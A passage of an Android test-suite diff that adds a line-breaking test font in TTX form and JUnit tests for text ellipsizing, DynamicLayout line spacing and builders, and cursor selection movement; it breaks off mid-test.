+++ b/tests/tests/text/assets/fonts/StaticLayoutLineBreakingTestFont.ttx
@@ -0,0 +1,207 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="0em"/>
+ <GlyphID id="2" name="1em"/>
+ <GlyphID id="3" name="3em"/>
+ <GlyphID id="4" name="5em"/>
+ <GlyphID id="5" name="7em"/>
+ <GlyphID id="6" name="10em"/>
+ <GlyphID id="7" name="50em"/>
+ <GlyphID id="8" name="100em"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="100"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="0x00010000"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="50" lsb="0"/>
+ <mtx name="0em" width="0" lsb="0"/>
+ <mtx name="1em" width="100" lsb="0"/>
+ <mtx name="3em" width="300" lsb="0"/>
+ <mtx name="5em" width="500" lsb="0"/>
+ <mtx name="7em" width="700" lsb="0"/>
+ <mtx name="10em" width="1000" lsb="0"/>
+ <mtx name="50em" width="5000" lsb="0"/>
+ <mtx name="100em" width="10000" lsb="0"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_12 format="12" reserved="0" length="6" nGroups="1" platformID="3" platEncID="10" language="0">
+ <map code="0x0020" name="10em" />
+ <map code="0x002e" name="10em" /> <!-- . -->
+ <map code="0x0043" name="100em" /> <!-- C -->
+ <map code="0x0049" name="1em" /> <!-- I -->
+ <map code="0x004c" name="50em" /> <!-- L -->
+ <map code="0x0056" name="5em" /> <!-- V -->
+ <map code="0x0058" name="10em" /> <!-- X -->
+ <map code="0x005f" name="0em" /> <!-- _ -->
+ <map code="0xfffd" name="7em" /> <!-- REPLACEMENT CHAR -->
+ <map code="0x10331" name="10em" />
+ </cmap_format_12>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="0em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="5em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="7em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="10em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="50em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="100em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ Font for StaticLayoutLineBreakingTest
+ </namerecord>
+ <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ Font for StaticLayoutLineBreakingTest
+ </namerecord>
+ <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/text/res/layout/keylistener_layout.xml b/tests/tests/text/res/layout/keylistener_layout.xml
index 84a7a14..e26e815 100644
--- a/tests/tests/text/res/layout/keylistener_layout.xml
+++ b/tests/tests/text/res/layout/keylistener_layout.xml
@@ -19,6 +19,7 @@
android:id="@+id/keylistener_textview"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:textSize="10dp"
-/>
+ android:textSize="10dp">
+ <requestFocus />
+</android.text.method.cts.EditTextNoIme>
diff --git a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
index e78fb3e..f2a7b5a 100644
--- a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
@@ -23,6 +23,7 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
import static org.mockito.Matchers.any;
import static org.mockito.Matchers.anyFloat;
import static org.mockito.Matchers.anyInt;
@@ -36,6 +37,8 @@
import android.graphics.Bitmap.Config;
import android.graphics.Canvas;
import android.graphics.Paint;
+import android.graphics.Typeface;
+import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
import android.text.BoringLayout;
@@ -345,6 +348,91 @@
anyInt(), anyInt(), anyFloat(), anyFloat(), any(Paint.class));
}
+ @Test
+ public void testEllipsize_End() {
+ // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think "aa…"
+ // would fit, but after measuring the new text, we find that it doesn't and we need to
+ // retry.
+ final float size = 100.0f;
+ final int allocatedWidth = (int) (3.4f * size);
+ final BoringLayout layout = new BoringLayout(
+ "aaaa",
+ getTextPaintForEllipsize(size),
+ allocatedWidth,
+ DEFAULT_ALIGN,
+ SPACING_MULT_NO_SCALE,
+ SPACING_ADD_NO_SCALE,
+ createMetrics(0, 0, 0, 0, allocatedWidth, 0),
+ false /* includepad */,
+ TextUtils.TruncateAt.END,
+ allocatedWidth);
+ assertEquals("a\u2026\uFEFF\uFEFF", layout.getText().toString());
+ }
+
+ @Test
+ public void testEllipsize_Start() {
+ // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think "…aa"
+ // would fit, but after measuring the new text, we find that it doesn't and we need to
+ // retry.
+ final float size = 100.0f;
+ final int allocatedWidth = (int) (3.4f * size);
+ final BoringLayout layout = new BoringLayout(
+ "aaaa",
+ getTextPaintForEllipsize(size),
+ allocatedWidth,
+ DEFAULT_ALIGN,
+ SPACING_MULT_NO_SCALE,
+ SPACING_ADD_NO_SCALE,
+ createMetrics(0, 0, 0, 0, allocatedWidth, 0),
+ false /* includepad */,
+ TextUtils.TruncateAt.START,
+ allocatedWidth);
+ assertEquals("\u2026\uFEFF\uFEFFa", layout.getText().toString());
+ }
+
+ @Test
+ public void testEllipsize_Middle() {
+ // When we try to ellipsize "aaaaaa" into a thinner 5.9 em space, we originally think
+ // "aa…aa" would fit, but after measuring the new text, we find that it doesn't and we need
+ // to retry.
+ final float size = 100.0f;
+ final int allocatedWidth = (int) (5.9f * size);
+ final BoringLayout layout = new BoringLayout(
+ "aaaaaa",
+ getTextPaintForEllipsize(size),
+ allocatedWidth,
+ DEFAULT_ALIGN,
+ SPACING_MULT_NO_SCALE,
+ SPACING_ADD_NO_SCALE,
+ createMetrics(0, 0, 0, 0, allocatedWidth, 0),
+ false /* includepad */,
+ TextUtils.TruncateAt.MIDDLE,
+ allocatedWidth);
+ final String ellipsizedString = layout.getText().toString();
+ assertTrue("aa\u2026\uFEFF\uFEFFa".equals(ellipsizedString)
+ || "a\u2026\uFEFF\uFEFFaa".equals(ellipsizedString));
+ }
+
+ private TextPaint getTextPaintForEllipsize(float size) {
+ // The font used in this method has two glyphs defined for "a" and ellipsis. Both are one
+ // em wide. But the glyphs are kerned: whenever the "a" is followed or preceded by an
+ // ellipsis, half an em is added between them as kerning. This means that:
+ // "aaaa" is 4 ems wide,
+ // "aaa…" is 4.5 ems wide,
+ // "aa…" is 3.5 ems wide,
+ // "a…" is 2.5 ems wide,
+ // "aa…aa" is 6 ems wide,
+ // "aa…a" is 5 ems wide,
+ // "a…aa" is 5 ems wide,
+ // "a…a" is 4 ems wide,
+ // "…a" is 2.5 ems wide.
+ final TextPaint paint = new TextPaint();
+ paint.setTypeface(Typeface.createFromAsset(
+ InstrumentationRegistry.getTargetContext().getAssets(), "ellipsis_test_font.ttf"));
+ paint.setTextSize(size);
+ return paint;
+ }
+
private static Metrics createMetrics(
final int top,
final int ascent,
diff --git a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
index 02139c5..d37f0ca 100644
--- a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
@@ -29,6 +29,7 @@
import android.support.test.runner.AndroidJUnit4;
import android.text.DynamicLayout;
import android.text.Layout;
+import android.text.SpannableStringBuilder;
import android.text.StaticLayout;
import android.text.TextPaint;
import android.text.TextUtils;
@@ -44,6 +45,7 @@
private static final float SPACING_MULT_NO_SCALE = 1.0f;
private static final float SPACING_ADD_NO_SCALE = 0.0f;
private static final int DEFAULT_OUTER_WIDTH = 150;
+ private static final int ELLIPSIZE_WIDTH = 8;
private static final CharSequence SINGLELINE_CHAR_SEQUENCE = "......";
private static final String[] TEXT = {"CharSequence\n", "Char\tSequence\n", "CharSequence"};
private static final CharSequence MULTLINE_CHAR_SEQUENCE = TEXT[0] + TEXT[1] + TEXT[2];
@@ -110,7 +112,7 @@
DEFAULT_ALIGN,
SPACING_MULT_NO_SCALE,
SPACING_ADD_NO_SCALE,
- true,
+ true /* include pad */,
TextUtils.TruncateAt.START,
DEFAULT_OUTER_WIDTH);
assertEquals(0, dynamicLayout.getEllipsisCount(LINE1));
@@ -118,6 +120,24 @@
assertEquals(DEFAULT_OUTER_WIDTH, dynamicLayout.getEllipsizedWidth());
}
+ // This could cause a crash in an older version of ellipsization code.
+ @Test
+ public void testEllipsisWithReflow() {
+ final String text = "Ham & Cheese.sandwich";
+ final int width = 1 << 20;
+ final int ellipsizedWidth = 2 * (int) mDefaultPaint.getTextSize();
+ final DynamicLayout dynamicLayout = new DynamicLayout(text,
+ text,
+ mDefaultPaint,
+ width,
+ DEFAULT_ALIGN,
+ SPACING_MULT_NO_SCALE,
+ SPACING_ADD_NO_SCALE,
+ true /* include pad */,
+ TextUtils.TruncateAt.END,
+ ellipsizedWidth);
+ }
+
/*
* Test whether include the padding to calculate the layout.
* 1. Include padding while calculate the layout.
@@ -194,6 +214,62 @@
assertEquals(TEXT[0].length() + TEXT[1].length(), mDynamicLayout.getLineStart(LINE2));
}
+ @Test
+ public void testLineSpacing() {
+ SpannableStringBuilder text = new SpannableStringBuilder("a\nb\nc");
+ final float spacingMultiplier = 2f;
+ final float spacingAdd = 4;
+ final int width = 1000;
+ final TextPaint textPaint = new TextPaint();
+ // create the DynamicLayout
+ final DynamicLayout dynamicLayout = new DynamicLayout(text,
+ textPaint,
+ width,
+ ALIGN_NORMAL,
+ spacingMultiplier,
+ spacingAdd,
+ false /*includepad*/);
+
+ // create a StaticLayout with same text, this will define the expectations
+ Layout expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+ spacingMultiplier);
+ assertLineSpecs(expected, dynamicLayout);
+
+ // add a new line to the end, DynamicLayout will re-calculate
+ text = text.append("\nd");
+ expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+ spacingMultiplier);
+ assertLineSpecs(expected, dynamicLayout);
+
+ // insert a next line and a char as the new second line
+ text = text.insert(TextUtils.indexOf(text, '\n') + 1, "a1\n");
+ expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+ spacingMultiplier);
+ assertLineSpecs(expected, dynamicLayout);
+ }
+
+ @Test
+ public void testLineSpacing_textEndingWithNextLine() {
+ final SpannableStringBuilder text = new SpannableStringBuilder("a\n");
+ final float spacingMultiplier = 2f;
+ final float spacingAdd = 4f;
+ final int width = 1000;
+ final TextPaint textPaint = new TextPaint();
+ // create the DynamicLayout
+ final DynamicLayout dynamicLayout = new DynamicLayout(text,
+ textPaint,
+ width,
+ ALIGN_NORMAL,
+ spacingMultiplier,
+ spacingAdd,
+ false /*includepad*/);
+
+ // create a StaticLayout with same text, this will define the expectations
+ final Layout expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+ spacingMultiplier);
+ assertLineSpecs(expected, dynamicLayout);
+ }
+
private Layout createStaticLayout(CharSequence text, TextPaint textPaint, int width,
float spacingAdd, float spacingMultiplier) {
return StaticLayout.Builder.obtain(text, 0,
@@ -253,4 +329,93 @@
spacingMultiplier);
assertLineSpecs(expected, dynamicLayout);
}
+
+ @Test
+ public void testBuilder_obtain() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ final DynamicLayout layout = builder.build();
+ // Check values passed to obtain().
+ assertEquals(MULTLINE_CHAR_SEQUENCE, layout.getText());
+ assertEquals(mDefaultPaint, layout.getPaint());
+ assertEquals(DEFAULT_OUTER_WIDTH, layout.getWidth());
+ // Check default values.
+ assertEquals(Layout.Alignment.ALIGN_NORMAL, layout.getAlignment());
+ assertEquals(0.0f, layout.getSpacingAdd(), 0.0f);
+ assertEquals(1.0f, layout.getSpacingMultiplier(), 0.0f);
+ assertEquals(DEFAULT_OUTER_WIDTH, layout.getEllipsizedWidth());
+ }
+
+ @Test(expected = NullPointerException.class)
+ public void testBuilder_obtainWithNullText() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(null, mDefaultPaint, 0);
+ final DynamicLayout layout = builder.build();
+ }
+
+ @Test(expected = NullPointerException.class)
+ public void testBuilder_obtainWithNullPaint() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ null, 0);
+ final DynamicLayout layout = builder.build();
+ }
+
+ @Test
+ public void testBuilder_setDisplayTest() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ builder.setDisplayText(SINGLELINE_CHAR_SEQUENCE);
+ final DynamicLayout layout = builder.build();
+ assertEquals(SINGLELINE_CHAR_SEQUENCE, layout.getText());
+ }
+
+ @Test
+ public void testBuilder_setAlignment() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ builder.setAlignment(DEFAULT_ALIGN);
+ final DynamicLayout layout = builder.build();
+ assertEquals(DEFAULT_ALIGN, layout.getAlignment());
+ }
+
+ @Test
+ public void testBuilder_setLineSpacing() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ builder.setLineSpacing(1.0f, 2.0f);
+ final DynamicLayout layout = builder.build();
+ assertEquals(1.0f, layout.getSpacingAdd(), 0.0f);
+ assertEquals(2.0f, layout.getSpacingMultiplier(), 0.0f);
+ }
+
+ @Test
+ public void testBuilder_ellipsization() {
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ builder.setEllipsize(TextUtils.TruncateAt.END)
+ .setEllipsizedWidth(ELLIPSIZE_WIDTH);
+ final DynamicLayout layout = builder.build();
+ assertEquals(ELLIPSIZE_WIDTH, layout.getEllipsizedWidth());
+ assertEquals(DEFAULT_OUTER_WIDTH, layout.getWidth());
+ for (int i = 0; i < TEXT.length; i++) {
+ if (i == TEXT.length - 1) { // last line
+ assertTrue(layout.getEllipsisCount(i) > 0);
+ } else {
+ assertEquals(0, layout.getEllipsisCount(i));
+ }
+ }
+ }
+
+ @Test
+ public void testBuilder_otherSetters() {
+ // Setter methods that cannot be directly tested.
+ // setBreakStrategy, setHyphenationFrequency, setIncludePad, and setJustificationMode.
+ final DynamicLayout.Builder builder = DynamicLayout.Builder.obtain(MULTLINE_CHAR_SEQUENCE,
+ mDefaultPaint, DEFAULT_OUTER_WIDTH);
+ builder.setBreakStrategy(Layout.BREAK_STRATEGY_HIGH_QUALITY)
+ .setHyphenationFrequency(Layout.HYPHENATION_FREQUENCY_FULL)
+ .setIncludePad(true)
+ .setJustificationMode(Layout.JUSTIFICATION_MODE_INTER_WORD);
+ final DynamicLayout layout = builder.build();
+ assertNotNull(layout);
+ }
}
diff --git a/tests/tests/text/src/android/text/cts/SelectionTest.java b/tests/tests/text/src/android/text/cts/SelectionTest.java
index f920bda..2aac83b 100644
--- a/tests/tests/text/src/android/text/cts/SelectionTest.java
+++ b/tests/tests/text/src/android/text/cts/SelectionTest.java
@@ -23,6 +23,7 @@
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.text.Layout;
import android.text.Selection;
import android.text.SpannableStringBuilder;
import android.text.StaticLayout;
@@ -275,6 +276,56 @@
}
@Test
+ public void testMoveUpAfterTyping() {
+ CharSequence text = "aaa\nmm";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 1, 1);
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(5, Selection.getSelectionStart(builder));
+ assertEquals(5, Selection.getSelectionEnd(builder));
+
+ builder.insert(5, "mm");
+ layout = new StaticLayout(builder, new TextPaint(), 200, Layout.Alignment.ALIGN_NORMAL,
+ 0, 0, false);
+ assertEquals(7, Selection.getSelectionStart(builder));
+ assertEquals(7, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testMoveUpKeepsOriginalMemoryPosition() {
+ CharSequence text = "aa\nm";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 1, 1);
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(4, Selection.getSelectionStart(builder));
+ assertEquals(4, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+ }
+
+ @Test
public void testMoveDown() {
CharSequence text = "hello,world\nGoogle";
SpannableStringBuilder builder = new SpannableStringBuilder(text);
@@ -313,6 +364,340 @@
}
@Test
+ public void testMoveDownAfterTyping() {
+ CharSequence text = "mm\naaa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 4, 4);
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+
+ builder.insert(1, "mm");
+ layout = new StaticLayout(builder, new TextPaint(), 200, Layout.Alignment.ALIGN_NORMAL,
+ 0, 0, false);
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(8, Selection.getSelectionStart(builder));
+ assertEquals(8, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testMoveDownKeepsOriginalMemoryPosition() {
+ CharSequence text = "m\naa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 3, 3);
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+ }
+
+ @Test
+ public void testMemoryPositionResetByHorizontalMovement() {
+ CharSequence text = "m\naa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 3, 3);
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveRight(builder, layout));
+ assertEquals(4, Selection.getSelectionStart(builder));
+ assertEquals(4, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(4, Selection.getSelectionStart(builder));
+ assertEquals(4, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveLeft(builder, layout));
+ assertEquals(3, Selection.getSelectionStart(builder));
+ assertEquals(3, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 3, 3);
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+ }
+
+ @Test
+ public void testMemoryPositionResetByRemoveSelection() {
+ CharSequence text = "m\naa";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(builder, new TextPaint(), 200,
+ Layout.Alignment.ALIGN_NORMAL, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.setSelection(builder, 3, 3);
+ assertTrue(Selection.moveUp(builder, layout));
+ assertEquals(1, Selection.getSelectionStart(builder));
+ assertEquals(1, Selection.getSelectionEnd(builder));
+ assertEquals(1,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+
+ Selection.removeSelection(builder);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+ assertEquals(0,
+ builder.getSpans(0, builder.length(), Selection.MemoryTextWatcher.class).length);
+ }
+
+ @Test
+ public void testMultilineLengthMoveDown() {
+ CharSequence text = "a\n\na";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
+ assertEquals(-1, Selection.getSelectionEnd(builder));
+
+ Selection.setSelection(builder, 1);
+ // Move down to empty line
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(2, Selection.getSelectionStart(builder));
+ assertEquals(2, Selection.getSelectionEnd(builder));
+
+ // Move down to third line
+ assertTrue(Selection.moveDown(builder, layout));
+ assertEquals(4, Selection.getSelectionStart(builder));
+ assertEquals(4, Selection.getSelectionEnd(builder));
+ }
+
+ @Test
+ public void testMultilineLengthExtendDown() {
+ CharSequence text = "Google\n\nhello, world";
+ SpannableStringBuilder builder = new SpannableStringBuilder(text);
+ StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+ assertEquals(-1, Selection.getSelectionStart(builder));
